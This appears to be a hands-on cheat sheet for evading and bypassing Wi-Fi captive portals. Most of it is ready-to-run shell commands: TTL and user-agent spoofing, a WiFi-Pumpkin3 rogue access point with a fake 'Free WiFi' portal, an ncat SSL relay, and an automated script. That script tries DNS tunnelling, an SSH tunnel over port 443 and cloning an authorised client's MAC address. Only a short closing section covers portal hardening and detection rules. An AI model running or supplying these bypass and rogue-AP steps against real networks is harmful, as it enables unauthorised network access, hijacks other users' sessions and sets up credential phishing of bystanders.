Captive Portal Evasion and Tooling
Detection Evasion
1. User-Agent Randomization
ua-rotation.sh
# Portals may fingerprint browsers
# Randomize User-Agent with curl
curl -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" http://target.com
# Browser extension: User-Agent Switcher
# Or use Tor Browser (has built-in UA randomization)
# Automated UA rotation
#!/bin/bash
UAs=(
"Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)"
"Mozilla/5.0 (X11; Linux x86_64)"
)
UA="${UAs[$RANDOM % ${#UAs[@]}]}"
curl -A "$UA" http://target.com2. TTL Manipulation
ttl-manipulation.sh
# Bypass TTL-based device detection
# Increase TTL to mask device type
sudo iptables -t mangle -A POSTROUTING -j TTL --ttl-set 65
# Or per-interface
sudo iptables -t mangle -A POSTROUTING -o wlan0 -j TTL --ttl-set 64
# Verify
ping -c 1 8.8.8.8 | grep ttl
# Restore original
sudo iptables -t mangle -D POSTROUTING -j TTL --ttl-set 653. Traffic Obfuscation
traffic-obfuscation.sh
# Encrypt traffic to avoid DPI
# OpenVPN over TCP port 443 (looks like HTTPS)
# Server config:
port 443
proto tcp
dev tun
# Client connects
sudo openvpn --config client.ovpn
# Or use obfsproxy (Tor pluggable transport)
sudo apt install obfs4proxy
# Configure bridge with obfs4Automated Tools
1. WiFi-Pumpkin3
wifipumpkin3.sh
# All-in-one captive portal attack tool
git clone https://github.com/P0cL4bs/wifipumpkin3
cd wifipumpkin3
sudo python3 setup.py install
# Launch
sudo wifipumpkin3
# Create rogue AP with fake portal
wp3 > set interface wlan0
wp3 > set ssid "Free WiFi"
wp3 > plugins
wp3 > start2. Ncat for Quick Tunnels
ncat-relay.sh
# Server (VPS) — accept multiple connections and forward to local SSH
ncat -l -p 443 --ssl --keep-open --sh-exec "ncat 127.0.0.1 22"
# Client (behind portal) — connect to the relay; it is a single-hop
# forwarder to the VPS's SSH service, not a general-purpose proxy
ncat --ssl <VPS_IP> 4433. bypass-captive-portal Script
bypass-portal.sh
#!/bin/bash
# bypass-portal.sh - Automated bypass attempt
INTERFACE="wlan0"
VPS="your-vps.com"
echo "[*] Captive Portal Bypass Tool"
# Test 1: Direct internet
echo "[+] Testing direct internet..."
if curl -s --max-time 5 http://google.com | grep -q "google"; then
echo "[+] Already have internet access!"
exit 0
fi
# Test 2: DNS (53)
echo "[+] Testing DNS (port 53)..."
if nc -zv -w 3 8.8.8.8 53 2>&1 | grep -q "succeeded"; then
echo "[+] DNS allowed, trying DNS tunnel..."
sudo iodine -f tunnel.$VPS &
sleep 5
if curl -s --max-time 5 http://google.com | grep -q "google"; then
echo "[+] Success via DNS tunnel!"
exit 0
fi
sudo killall iodine
fi
# Test 3: HTTPS (443)
echo "[+] Testing HTTPS (port 443)..."
if nc -zv -w 3 $VPS 443 2>&1 | grep -q "succeeded"; then
echo "[+] HTTPS allowed, trying SSL tunnel..."
ssh -f -N -D 8080 -p 443 user@$VPS
export http_proxy="socks5://127.0.0.1:8080"
if curl -s --max-time 5 http://google.com | grep -q "google"; then
echo "[+] Success via HTTPS tunnel!"
exit 0
fi
fi
# Test 4: MAC spoofing (clone a MAC observed as authenticated)
echo "[+] Trying MAC spoofing..."
sudo ip link set $INTERFACE down
sudo macchanger -m <AUTHORIZED_MAC> $INTERFACE
sudo ip link set $INTERFACE up
sudo dhclient $INTERFACE
if curl -s --max-time 5 http://google.com > /dev/null; then
echo "[+] Success via MAC spoofing!"
exit 0
fi
echo "[-] All bypass methods failed"Testing Verification
Portal Security Assessment
portal-assessment.sh
# Captive Portal Security Checklist
# 1. Client Isolation
# Can clients communicate?
sudo arp-scan --interface=wlan0 --localnet
ping <OTHER_CLIENT_IP>
# 2. Allowed Ports
# Scan for open outbound ports
nmap -p- --open <GATEWAY_IP>
# 3. DNS Filtering
# Check if DNS queries are filtered
dig @8.8.8.8 google.com
dig @1.1.1.1 google.com
# 4. Protocol Restrictions
# Test ICMP, UDP, TCP
ping 8.8.8.8
nc -u 8.8.8.8 53
nc 8.8.8.8 443
# 5. MAC Filtering
# Test MAC randomization detection
sudo macchanger -r wlan0
# Reconnect and check if still works
# 6. Session Duration
# How long does authenticated session last?
# Check for: Idle timeout, absolute timeout, device limitBypass Success Testing
verify-bypass.sh
# After bypass attempt, verify:
# 1. Internet connectivity
curl https://ifconfig.me
curl https://ipinfo.io
# 2. DNS resolution
nslookup google.com
# 3. Speed test
speedtest-cli
# 4. Stability (monitor for 10 mins)
while true; do
curl -s -o /dev/null -w "%{http_code} - %{time_total}s\n" https://google.com
sleep 30
doneDefense & Mitigation
Secure Captive Portal Design
Best Practices for Portal Operators
- MAC-based authentication (with expiry)
- Implement MAC rotation detection
- Limit sessions per MAC
- Deep Packet Inspection (DPI)
- Detect DNS tunneling patterns
- Block known tunnel protocols
- Port restrictions
- Only allow HTTP (80), HTTPS (443), DNS (53)
- Block ICMP or rate limit
- Client isolation
- Prevent ARP spoofing
- Isolate clients from each other
- Certificate pinning
- Detect SSL tunnel attempts
- Rate limiting
- Throttle repeated authentication attempts
- Cap bandwidth and connection rate per client
Detection Mechanisms
portal-detection.sh
# Detect bypass attempts:
# 1. Monitor for MAC changes
arpwatch -i wlan0
# 2. DPI for tunnel signatures
# Suricata rule example:
alert dns any any -> any any (msg:"Possible DNS Tunnel"; \
content:"|00 10|"; depth:2; dsize:>150; \
threshold:type both,track by_src,count 10,seconds 60;)
# 3. Entropy analysis
# High entropy in DNS queries = tunnel
python3 dns_entropy_check.py
# 4. Traffic pattern analysis
# Look for:
# - Constant packet sizes
# - Regular intervals
# - Unusual protocols on common ports